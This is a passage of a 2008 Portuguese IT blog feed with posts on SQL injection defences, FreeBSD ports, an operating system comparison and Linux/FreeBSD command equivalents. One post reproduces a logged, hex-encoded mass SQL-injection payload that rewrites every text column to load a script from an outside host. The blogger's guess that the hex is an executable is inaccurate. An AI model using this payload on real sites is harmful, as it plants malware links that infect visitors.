		<description><![CDATA[Hacker bom é .. hacker bom. Gosto dos desafios de criar um sistema um pouco mais seguro.
Postei a alguns dias sobre SQL Injection. Conversando com colegas e amigos de profissão, chegamos a essa lista de soluções:

administração em outro link (URI), mantendo no site com um usuário e permissão read e no admin com permissão full [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fsql-injection-again"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fsql-injection-again" height="61" width="51" /></a></div><p>Hacker bom é .. hacker bom. Gosto dos desafios de criar um sistema um pouco mais seguro.</p>
<p>Postei a alguns dias sobre <a href="http://www.elirios.com/2008/06/26/ms-ataca-injecao-de-sql-em-sites/">SQL Injection</a>. Conversando com colegas e amigos de profissão, chegamos a essa lista de soluções:</p>
<ul>
<li>administração em outro link (URI), mantendo no site com um usuário e permissão read e no admin com permissão full (com por exemplo em uma intranet)</li>
<li>store procedure (melhor solução)</li>
<li>passagem por variáveis para montar as queries. Antes de montar a query, um filtro no programa</li>
<li>soluções for dummies no meu post acima linkado</li>
</ul>
<p>Breve, rápido, simples assim. Desenvolvimento e infra trabalhando juntos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/sql-injection-again/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ports &#8211; Primeira visão no FreeBSD</title>
		<link>http://www.elirios.com/ti/ports-primeira-visao-no-freebsd</link>
		<comments>http://www.elirios.com/ti/ports-primeira-visao-no-freebsd#comments</comments>
		<pubDate>Tue, 01 Jul 2008 00:53:29 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[ports]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=44</guid>
		<description><![CDATA[Como bom usuário Slackware que sou, sempre instalava-o zerado e compilava o servidor que queria rodar nele. Aprendi isso com um guru que eu tinha para Linux, um amigo que apelidamos de Jesus, dizia que assim o sistema ficaria leve, personalizado e tudo mais.
Bom, cresci (profissionalmente), tive contatos com outros gurus de informática e aprendi [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fports-primeira-visao-no-freebsd"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fports-primeira-visao-no-freebsd" height="61" width="51" /></a></div><p>Como bom usuário Slackware que sou, sempre instalava-o zerado e compilava o servidor que queria rodar nele. Aprendi isso com um guru que eu tinha para Linux, um amigo que apelidamos de Jesus, dizia que assim o sistema ficaria leve, personalizado e tudo mais.</p>
<p>Bom, cresci (profissionalmente), tive contatos com outros gurus de informática e aprendi que antes de &#8220;leveza&#8221;, mais importante era estabilidade.</p>
<p>Quando se compila algum programa, fica complicado sua atualização, durante a complicação você pode perceber que há uma dependência de outra lib ou programa para continuar poder compilar, deve-se pensar em muitos detalhes para rodar o &#8220;configure&#8221; da instalação, o sistema pode ficar instável, entre mais alguma coisa que possa ter esquecido.</p>
<p>Já instaladores de pacotes (rpm, apt-get, etc) instalam programas que foram testados e retestados pelos mantedores das distros (mas não em todas distros), mas como são binários, não podem ser personalizados.</p>
<p>Conheci então com o Renato o ports (Ports Collection)do FreeBSD. É uma estrutura baseada em Makefiles, diferente do apt-get, rpm, yum, etc, onde os pacotes são baixados da internet no seu formato código-fonte e não em binário. O legal do ports é que ele, além de baixar os sources e compilar, ele também baixa e compila todas as dependências para a instalação.</p>
<p>Vou descrever então como monto um servidor FreeBSD, usando o disco 1 do sistema operacional com o ports. Fácil, instalo o FreeBSD com a opção Custom, onde escolho somente os módulos para User, acesso o site <a title="Ports FreeBSD" href="http://www.freebsd.org/ports/" target="_blank">http://www.freebsd.org/ports/</a> para pesquisar o software que quero instalar, acesso a pasta que indicada com o make de instalação.</p>
<p>Chegou no diretório, agora é fácil fácil: rode make &amp;&amp; make install clean. Ele vai exibir uma tela de configuração dos módulo e então vai fazer o download do source, checar dependências, fazer download das dependências, compilar dependências e compilar o módulo, tudo sozinho. Lógico que tem o tempo do donwload, mas nada que mate não.</p>
<p>Assim, a grande vantagem é a personalização do pacote, coisa que não se tem com o apt-get e rpm da vida.</p>
<p>Ah, e se quiser desisntalar algo, no diretório do programa no ports, rode make deinstall. Muito fácil.</p>
<p>Estou adorando FreeBSD&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/ports-primeira-visao-no-freebsd/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sobre sistemas operacionais &#8211; minha opinião atual</title>
		<link>http://www.elirios.com/ti/sobre-sistemas-operacionais-minha-opiniao-atual</link>
		<comments>http://www.elirios.com/ti/sobre-sistemas-operacionais-minha-opiniao-atual#comments</comments>
		<pubDate>Mon, 30 Jun 2008 16:53:25 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[comparação]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[sistemas operacionais]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=36</guid>
		<description><![CDATA[Todo mundo fala, opina e retruca, mas não sou &#8220;xiita&#8221;.
Assim como as pessoas, cada sistema operacional tem algo de bom a oferecer.
Descrevo o que acho:
FreeBSD

Ágil, leve, rápido e robusto, tem como ponto forte sua segurança, padronização e boa documentação. A primeira coisa que me chamou atenção nele foi o ports: um gerenciador de instalação fácil [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fsobre-sistemas-operacionais-minha-opiniao-atual"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fsobre-sistemas-operacionais-minha-opiniao-atual" height="61" width="51" /></a></div><p>Todo mundo fala, opina e retruca, mas não sou &#8220;xiita&#8221;.<br />
Assim como as pessoas, cada sistema operacional tem algo de bom a oferecer.<br />
Descrevo o que acho:</p>
<h2>FreeBSD</h2>
<p><a href="http://www.elirios.com/wp-content/uploads/2008/06/beastie.gif"><img class="alignright alignnone size-medium wp-image-37" style="float: right;" title="beastie" src="http://www.elirios.com/wp-content/uploads/2008/06/beastie.gif" alt="FreeBSD" width="113" height="125" /></a></p>
<p>Ágil, leve, rápido e robusto, tem como ponto forte sua segurança, padronização e boa documentação. A primeira coisa que me chamou atenção nele foi o ports: um gerenciador de instalação fácil e rápido. Outro ponto forte é a velocidade para se colocar qualquer serviço no ar &#8211; levei 15 minutos para instalar um serviço de http com Apache, sem muitos ajustes, em um servidor sem sistema operacional. Seu ponto fraco fica em sua baixa compatibilidade de hardware, já que só e mantido pela Berkeley. Recomendo para serviços de rede, nunca para desktop.</p>
<h2>Linux</h2>
<p><a href="http://www.elirios.com/wp-content/uploads/2008/06/surfsup171007.jpg"><img class="alignleft alignnone size-thumbnail wp-image-38" style="float: left;" title="surfsup171007" src="http://www.elirios.com/wp-content/uploads/2008/06/surfsup171007-150x150.jpg" alt="" width="125" height="125" /></a>Com o mundo todo programando, tem amplo suporte a hardware e uma grande gama de softwares livres a <em>la carte</em>. E o sistema mais integrado ao protocolo TCP/IP, tendo, no meu ponto de vista, a melhor implementação. Muito customizável, sendo isso sua fraqueza e sua fortaleza.<br />
Pelo Linux ser o seu kernel e ser aberto, há muitas distribuições com suas próprias padronizações (ou com a falta dela), o que torna o uso para o leigo um inferno. Para esses indico o Ubuntu, Debian ou ate mesmo Red Hat.<br />
Fácil de programar, leve, versátil e robusto, há distros para todos os gostos.<br />
Recomendo para firewalls e desktops (Ubuntu). Bom também como servidor:<br />
- se o que procura for velocidade, Slackware. Ótimo para firewalls;<br />
- se for novidade, Fedora no seu constante estado beta. Ótimo para programadores;<br />
- se for usabilidade (entendi esse termo com meu amigo, Hodney) e compatibilidade de hardware, Ubuntu. Muito bom para leigos, curiosos e marinheiros de primeira viagem,<br />
- serviços, Debian ou Red Hat.</p>
<h2>Mac OS X</h2>
<p><a href="http://www.elirios.com/wp-content/uploads/2008/06/mac-os-x-logo1.jpg"><img class="alignright alignnone size-medium wp-image-40" style="float: right;" title="mac-os-x-logo1" src="http://www.elirios.com/wp-content/uploads/2008/06/mac-os-x-logo1.jpg" alt="" width="106" height="114" /></a>Usabilidade e design definem o sistema. E ao contrário do que se pensa, não é só para designers e gente moderninha &#8211; é um sistema muito rápido, estável, compatível com outros sistemas, amigável, além de gerenciável por se basear em Unix.<br />
Ainda não oferece bons servidores, mas não importa &#8211; é tão compatível que não faz falta.<br />
Seus pontos negativos que percebi até agora são somente rodar em computadores Mac e um editor de apresentações nativo (alguma coisa com Key no nome) pobre de recursos, mas que nada que uma instalação de um Open Office não resolva.<br />
Para mim, o melhor como desktop.</p>
<h2>Windows</h2>
<p><a href="http://www.elirios.com/wp-content/uploads/2008/06/windows_logo.jpg"><img class="alignleft alignnone size-thumbnail wp-image-41" style="float: left;" title="windows_logo" src="http://www.elirios.com/wp-content/uploads/2008/06/windows_logo-150x150.jpg" alt="" width="125" height="125" /></a>Muitos vão rir. Até eu nunca pensei antes em dizer isso, mas ele funciona.<br />
Mas calma, que explico minha teoria &#8211; ele funciona, mas no estado que chamo de &#8220;travado&#8221;. Por causa de sua estrutura de bibliotecas, se instalarem muitos programas, o sistema acaba ficando instável. Ideal rodando poucos programas, sem muitas instalações, desinstalações e reinstalações.<br />
E também a plataforma ainda mais rica em quantidade de jogos.<br />
Como servidor, sua versão server tem o ótimo recurso chamado Active Directory, ou AD, perfeito para ambientes corporativos.<br />
Um bom desktop, se não houver muitas instalações, uma boa estação para jogos, com muitos títulos. E é um bom servidor corporativo.<br />
Li há pouco tempo sobre o servidor Samba 4 (para Linux, FreeBSD e outros <em>Unix like</em>), ainda em estado alpha. Promete um AD, o que é bom, para que haja um rival ao Windows Server.</p>
<h2>Solaris, Beos, HPUX e outros.</h2>
<p>Não usei ou não vi ainda a fundo outros sistemas. Quando tiver algum contato, posto aqui.</p>
<h2>Conclusão</h2>
<p>Não se pode ser um &#8220;xiita&#8221; nesse assunto. Para uso pessoal ou corporativo, deve-se estudar a aplicação para melhor escolha.</p>
<h2>Sobre esse texto</h2>
<ol>
<li>Essa é uma opinião pessoal, por isso não definitiva. Não pretendo aqui nada mais que expressar minha opinião atual, por isso comentários serão bem vindos.</li>
<li>E esse texto foi todo escrito em um velho Palm Vx, em toda minha ansiedade por blogar.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/sobre-sistemas-operacionais-minha-opiniao-atual/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>MS ataca injeção de SQL em sites</title>
		<link>http://www.elirios.com/ti/ms-ataca-injecao-de-sql-em-sites</link>
		<comments>http://www.elirios.com/ti/ms-ataca-injecao-de-sql-em-sites#comments</comments>
		<pubDate>Thu, 26 Jun 2008 15:46:38 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=35</guid>
		<description><![CDATA[Recebi no meu e-mail agorinha:
A Microsoft liberou esta semana ferramentas para combater ataques por injeção de SQL em web sites.
Recentemente, atacantes invadiram sites legítimos que usam o SQL da Microsoft e injetaram nas páginas códigos maliciosos em JavaScript. Esses códigos redirecionam o browser para servidores que abrigam programas nocivos e infectam a máquina do visitante.
Voltada [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fms-ataca-injecao-de-sql-em-sites"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fms-ataca-injecao-de-sql-em-sites" height="61" width="51" /></a></div><p>Recebi no meu e-mail agorinha:</p>
<blockquote><p>A Microsoft liberou esta semana ferramentas para combater ataques por injeção de <em>SQL </em>em <em>web </em>sites.</p>
<p>Recentemente, atacantes invadiram sites legítimos que usam o <em>SQL </em>da Microsoft e injetaram nas páginas códigos maliciosos em <em>JavaScript</em>. Esses códigos redirecionam o browser para servidores que abrigam programas nocivos e infectam a máquina do visitante.</p>
<p>Voltada para desenvolvedores web, as novas ferramentas são gratuitas e objetivam prevenir esse tipo de ataque. São três aplicações. A primeira é <em>HP Scrawlr</em>. Desenvolvida pela HP, identifica se o site é suscetível a injeção de <em>SQL</em>.</p>
<p>Outro produto é o <em>URL Scan 3.0 Beta</em>, da própria Microsoft, que tem a função de defesa. O <em>URL Scan </em>restringe os tipos de requisições HTTP que o servidor <em>IIS </em>processa. O produto pode ser instalado no <em>IIS </em>5.1 e versões posteriores.</p>
<p>Por fim, vem o <em>Source Code Analyzer for SQL Injection</em>, ferramenta também assinada pela Microsoft. Seu objetivo é detectar códigos <em>ASP </em>e <em>ASP.net</em> vulneráveis a ataques de injeção de <em>SQL</em>. Detalhes técnicos sobre os três produtos encontram-se no <a href="http://www.microsoft.com/technet/security/advisory/954462.mspx">boletim de segurança 954462(link)</a>, de 24 de junho de 2008.</p></blockquote>
<p>Já vi isso acontecer, no log do servidor achei isso:</p>
<blockquote><p>189.104.14.173 &#8211; - [dd/M/Year:hh:mm:ss -0300] &#8220;GET /script.asp?id=23;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0&#215;44<br />
45434C415245204054205641524348415228323535292C40432056415243484152<br />
2832353529204445434C415245205461626C655F437572736F7220435552534F52<br />
20464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379<br />
736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69<br />
643D622E696420414E4420612E78747970653D27752720414E442028622E787479<br />
70653D3939204F5220622E78747970653D3335204F5220622E78747970653D3233<br />
31204F5220622E78747970653D31363729204F50454E205461626C655F43757273<br />
6F72204645544348204E4558542046524F4D205461626C655F437572736F722049<br />
4E544F2040542C4043205748494C4528404046455443485F5354415455533D3029<br />
20424547494E20455845432827555044415445205B272B40542B275D2053455420<br />
5B272B40432B275D3D525452494D28434F4E564552542856415243484152283430<br />
3030292C5B272B40432B275D29292B27273C736372697074207372633D68747470<br />
3A2F2F7777772E6462757064722E636F6D2F622E6A733E3C2F7363726970743E27<br />
272729204645544348204E4558542046524F4D205461626C655F437572736F7220<br />
494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72<br />
204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR<br />
(4000));EXEC(@S);&#8211; HTTP/1.1&#8243; 500 731</p></blockquote>
<p>Lógico que esse <em>IIS </em>tem um <em>reverse proxy</em> na frente por segurança. Dá para ver claramente o que o atacante tentou fazer: declara uma variável &#8220;S&#8221; como varchar(4000), seta o valor dela com uma sequência hexadecimal, provavelmente um executável, e no fim dá um exec(s) para executar o código no servidor.</p>
<p>Não funciona esse ataque quando o usuário <em>SQL </em>só tem permissão para <em>read </em>no banco.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/ms-ataca-injecao-de-sql-em-sites/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Link: blog GEEKS</title>
		<link>http://www.elirios.com/sem-categoria/link-blog-geeks</link>
		<comments>http://www.elirios.com/sem-categoria/link-blog-geeks#comments</comments>
		<pubDate>Wed, 25 Jun 2008 21:21:35 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[sem categoria]]></category>
		<category><![CDATA[autor]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[link]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=33</guid>
		<description><![CDATA[Pois é, agora adotei mesmo esse costume de blogar. Estou participando de outro blog: GEEKS.BLOG.BR.
Mantido por mim, Jairo Molina, Fúlvio Oliveira, Marga e Alexandre Martins, falamos sobre o que é ser Geek, sobre o que &#8220;gostamos&#8221;, coisas que nos chamam atenção.
Trabalhamos a um tempo atrás no provedor Intermol, em Mogi das Cruzes. Sempre preocupados em [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Flink-blog-geeks"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Flink-blog-geeks" height="61" width="51" /></a></div><p>Pois é, agora adotei mesmo esse costume de <em>blogar</em>. Estou participando de outro blog: <a title="geeks.blog.br" href="http://geeks.blog.br" target="_blank">GEEKS.BLOG.BR.</a></p>
<p>Mantido por mim, Jairo Molina, Fúlvio Oliveira, Marga e Alexandre Martins, falamos sobre o que é ser Geek, sobre o que &#8220;gostamos&#8221;, coisas que nos chamam atenção.</p>
<p>Trabalhamos a um tempo atrás no provedor <a href="http://www.intermol.com.br/">Intermol</a>, em Mogi das Cruzes. Sempre preocupados em ser referência na região na qualidade de serviços prestados, criamos juntos um forte nome na região, na época do acesso discado. O diferencial era foco no cliente.</p>
<p>Enfim, cada um continuou com sua vida, mas os profissionais que conheci nunca serão esquecidos.</p>
<p>Aprendi lá a importância de ser transparente com os clientes internos e externos de uma empresa, entre outras coisas. Grande escola.</p>
<p>Bom, chega de saudosismo. Fica o convite: <a href="http://geeks.blog.br">http://geeks.blog.br</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/sem-categoria/link-blog-geeks/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Qual o nome do seu servidor?</title>
		<link>http://www.elirios.com/sem-categoria/qual-o-nome-do-seu-servidor</link>
		<comments>http://www.elirios.com/sem-categoria/qual-o-nome-do-seu-servidor#comments</comments>
		<pubDate>Wed, 25 Jun 2008 06:20:34 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[sem categoria]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[humor]]></category>
		<category><![CDATA[nome servidor]]></category>
		<category><![CDATA[rede]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=31</guid>
		<description><![CDATA[Quem foi administrador de servidores ou é, já passou, passa ou passará por algo assim: que nome dar ao servidor?
Já vários modelos.
Veja alguns exemplos de modelos de nomes para servidor:

 Animais : macaco, zebra, leão, gorilla, touro;
 Frutas : banana, goiaba, morango;
 Criaturas mitológicas: Cérberos, Medusa, Pégasus;
 Países e cidades : Monaco, Kosovo, Paris;
 Nomes [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fqual-o-nome-do-seu-servidor"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fqual-o-nome-do-seu-servidor" height="61" width="51" /></a></div><p>Quem foi administrador de servidores ou é, já passou, passa ou passará por algo assim: que nome dar ao servidor?<br />
Já vários modelos.<br />
Veja alguns exemplos de modelos de nomes para servidor:</p>
<ul>
<li> Animais : macaco, zebra, leão, gorilla, touro;</li>
<li> Frutas : banana, goiaba, morango;</li>
<li> Criaturas mitológicas: Cérberos, Medusa, Pégasus;</li>
<li> Países e cidades : Monaco, Kosovo, Paris;</li>
<li> Nomes de compositors: Jobim, Bach, Sulivam;</li>
<li> Deuses gregos: Athena, Zeus, Hades, Hécules;</li>
<li> Nomes de mulheres famosas: Pamela, Britney, Paris, Melancia (ué, mas não é fruta?);</li>
<li> Personagens de animação: Andy, Flash, Gordon, Bruce (Wayne), Kent;</li>
<li> Personagens de anime: Goku, Akira, Luffy, Zoro, Oliver;</li>
<li> Personagens femininas: Ino, Rogue, Cheetara, Nami;</li>
<li> Números sequenciais: server1, server1, srv11;</li>
<li> e assim por diante&#8230;</li>
</ul>
<p>Eu tive um servidor que meu ex-chefe nomeou. Se chamada Dell. Muito sem graça. Os servidores que gerencio atualmente seguem uma ordem numérica (server1, server2), também “sem sal”.<br />
No site pessoal do meu ex-professor (Ulisses do INPE), ele descreve a saga dos nomes de seus servidores: <a href="http://www2.dem.inpe.br/ulisses/romance.htm">link</a>. Muito bom o texto. Ele descreveu o porque dos nomes e até conta sobre um triangulo amoroso entre três deles, a Patroa, a Outra e o Felots.<br />
Diga então, quais padrões você já seguiu? Eu mesmo já usei nomes de personagens de anime, personagens mitológicos, nome de compositores e nome de mulheres famosas. Imagine um servidor chamado Melancia, hummmm.<br />
Comente, diga o que já usou para nomear seus servidores:</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/sem-categoria/qual-o-nome-do-seu-servidor/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ajude a sustentar a Wikipédia e outros projetos, sem colocar a mão no bolso, e concorra a um Eee PC!</title>
		<link>http://www.elirios.com/sem-categoria/ajude-a-sustentar-a-wikipedia-e-outros-projetos-sem-colocar-a-mao-no-bolso-e-concorra-a-um-eee-pc</link>
		<comments>http://www.elirios.com/sem-categoria/ajude-a-sustentar-a-wikipedia-e-outros-projetos-sem-colocar-a-mao-no-bolso-e-concorra-a-um-eee-pc#comments</comments>
		<pubDate>Wed, 25 Jun 2008 00:16:03 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[sem categoria]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=30</guid>
		<description><![CDATA[Ajude a sustentar a Wikipédia e outros projetos, sem colocar a mão no bolso, e concorra a um Eee PC!
…e também a pen drives, card drives, camisetas geeks, livros e mais! O BR-Linux e o Efetividade lançaram uma campanha para ajudar a Wikimedia Foundation e outros mantenedores de projetos que usamos no dia-a-dia on-line. Se [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fajude-a-sustentar-a-wikipedia-e-outros-projetos-sem-colocar-a-mao-no-bolso-e-concorra-a-um-eee-pc"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fajude-a-sustentar-a-wikipedia-e-outros-projetos-sem-colocar-a-mao-no-bolso-e-concorra-a-um-eee-pc" height="61" width="51" /></a></div><p><strong>Ajude a sustentar a Wikipédia e outros projetos, sem colocar a mão no bolso, e concorra a um Eee PC!</strong><br />
…e também a pen drives, card drives, camisetas geeks, livros e mais! O <a href="http://br-linux.org"></a>BR-Linux e o <a href="http://efetividade.net"></a>Efetividade lançaram uma <a href="http://br-linux.org/2008/campanha-wikipedia"></a>campanha para ajudar a Wikimedia Foundation e outros mantenedores de projetos que usamos no dia-a-dia on-line. Se você puder doar diretamente, ou contribuir de outra forma, são sempre melhores opções. Mas se não puder, veja as regras da promoção e <a href="http://br-linux.org/2008/campanha-wikipedia"></a>participe &#8211; quanto mais divulgação, maior será a doação do BR-Linux e do Efetividade, e você ainda concorre a diversos brindes!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/sem-categoria/ajude-a-sustentar-a-wikipedia-e-outros-projetos-sem-colocar-a-mao-no-bolso-e-concorra-a-um-eee-pc/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Comandos FreeBSD x Linux</title>
		<link>http://www.elirios.com/ti/comandos-freebsd-x-linux</link>
		<comments>http://www.elirios.com/ti/comandos-freebsd-x-linux#comments</comments>
		<pubDate>Tue, 24 Jun 2008 00:50:22 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[comandos]]></category>
		<category><![CDATA[diferenças]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/?p=28</guid>
		<description><![CDATA[São sistemas realmente próximos. FreeBSD veio de Berkeley e o Linux da Finlândia. Existem boas diferenças, eu mesmo notei agora que tenho mais contato com o FreeBSD. Pesquisando encontrei:]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fcomandos-freebsd-x-linux"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fcomandos-freebsd-x-linux" height="61" width="51" /></a></div><p>São sistemas realmente próximos. O FreeBSD veio de Berkeley e o Linux da Finlândia. Existem boas diferenças, eu mesmo notei agora que tenho mais contato com o FreeBSD. Pesquisando encontrei:</p>
<h2>Disco e sistema de arquivos</h2>
<p>Uso do disco:</p>
<pre>{linux}$ du -sh
{freebsd}$ du -sh
</pre>
<p>Contagem de subdiretórios no diretório atual:</p>
<pre>{linux}$ du --max-depth=1
{freebsd}$ du -d1
</pre>
<p>Comando para encontrar o maior arquivo/diretório no disco:</p>
<pre>{linux}$ du --max-depth=1 -kx|sort -n
{freebsd}$ du -d1 -kx|sort -n
</pre>
<p>Encontrando alguns tipos de arquivos:</p>
<pre>{linux}$ find . -regextype posix-xtended -type f -regex ".*.(java|class)"
{freebsd}$ find -E . -type f -regex ".*.(java|class)"
</pre>
<p>Mostrar arquivos abertos e programas:</p>
<pre>{linux}$ lsof
{freebsd}$ fstat
</pre>
<p>Uso do disco em tempo real:</p>
<pre>{linux}$ vmstat 3
{freebsd}$ iostat 3
</pre>
<h2>Rede</h2>
<p>Apresenta portas abertas e aplicativos conectador a elas:</p>
<pre>{linux}$ netstat -apne --inet
{freebsd}$ sockstat
</pre>
<h2>Kernel</h2>
<p>Apresenta módulos carregados:</p>
<pre>{linux}$ lsmod
{freebsd}$ kldstat
</pre>
<p>Carrega módulo kernel:</p>
<pre>{linux}$ modprobe SomeModule
{freebsd}$ kldload SomeModule
</pre>
<p>Remove módulo carregado:</p>
<pre>{linux}$ rmmod SomeModule
{freebsd}$ kldunload SomeModule
</pre>
<h2>Desenvolvimento de programas</h2>
<p>Traca chamadas de sistema de um programa:</p>
<pre>{linux}$ strace
{freebsd}$ truss
(strace is also available in /usr/ports/devel/strace)
</pre>
<p>libraries &#8211; mostra todos paths + libs:</p>
<pre>{linux}$ ldconfig -p
{freebsd}$ ldconfig -r
</pre>
<h2>Gerenciamento de pacotes</h2>
<p>Distribuições diferentes de linux fazem de sua forma. Aqui colocarei a análise sobre o Debian, Ubuntu, Kubuntu etc.</p>
<p>Encontra qual pacote o arquivo pertence:</p>
<pre>{freebsd}$ pkg_info -W /path/to/checked_file
{linux}$ dpkg -S /path/to/checked_file
</pre>
<p>Aproximação de pesquisa de pacotes</p>
<pre>{linux}$ apt-cache search your_name
{freebsd}$ cd /usr/ports; make search key=your_name
                          make search name=pear display=name,path
    ou simplesmente locate (somente em nome dos pacotes):
{freebsd}$ locate -i your_name | grep "/usr/ports/"
</pre>
<p>Instalar um pacote binário</p>
<pre>{linux}$ apt-get install package_name
{freebsd}$ pkg_add -r package_name
</pre>
<p>Instala pacotes de sources</p>
<pre>{linux}$ apt-src
{freebsd}$ cd /usr/ports/path/package; make install clean
</pre>
<address><a title="http://langs-tech-stuff.blogspot.com/2007/07/linux-freebsd-commands.html" href="http://langs-tech-stuff.blogspot.com/2007/07/linux-freebsd-commands.html" target="_self">http://langs-tech-stuff.blogspot.com/2007/07/linux-freebsd-commands.html</a></address>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/comandos-freebsd-x-linux/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Da série &#8220;O cara da informática&#8221;</title>
		<link>http://www.elirios.com/sem-categoria/da-serie-o-cara-da-informatica</link>
		<comments>http://www.elirios.com/sem-categoria/da-serie-o-cara-da-informatica#comments</comments>
		<pubDate>Wed, 18 Jun 2008 01:14:30 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[sem categoria]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/?p=25</guid>
		<description><![CDATA[Como todos os dias de manhã, quando chego na empresa, antes de tudo, tomo aquele café para dar aquela acordada e começar bem o dia. Nesse momento, todos que aparecem na lanchonete tomam seus cafés, aproveitando para brincar com os outros. É a hora divertida do dia, um momento para começar bem.
Mas todo o dia [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fda-serie-o-cara-da-informatica"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fda-serie-o-cara-da-informatica" height="61" width="51" /></a></div><p>Como todos os dias de manhã, quando chego na empresa, antes de tudo, tomo aquele café para dar aquela acordada e começar bem o dia. Nesse momento, todos que aparecem na lanchonete tomam seus cafés, aproveitando para brincar com os outros. É a hora divertida do dia, um momento para começar bem.<br />
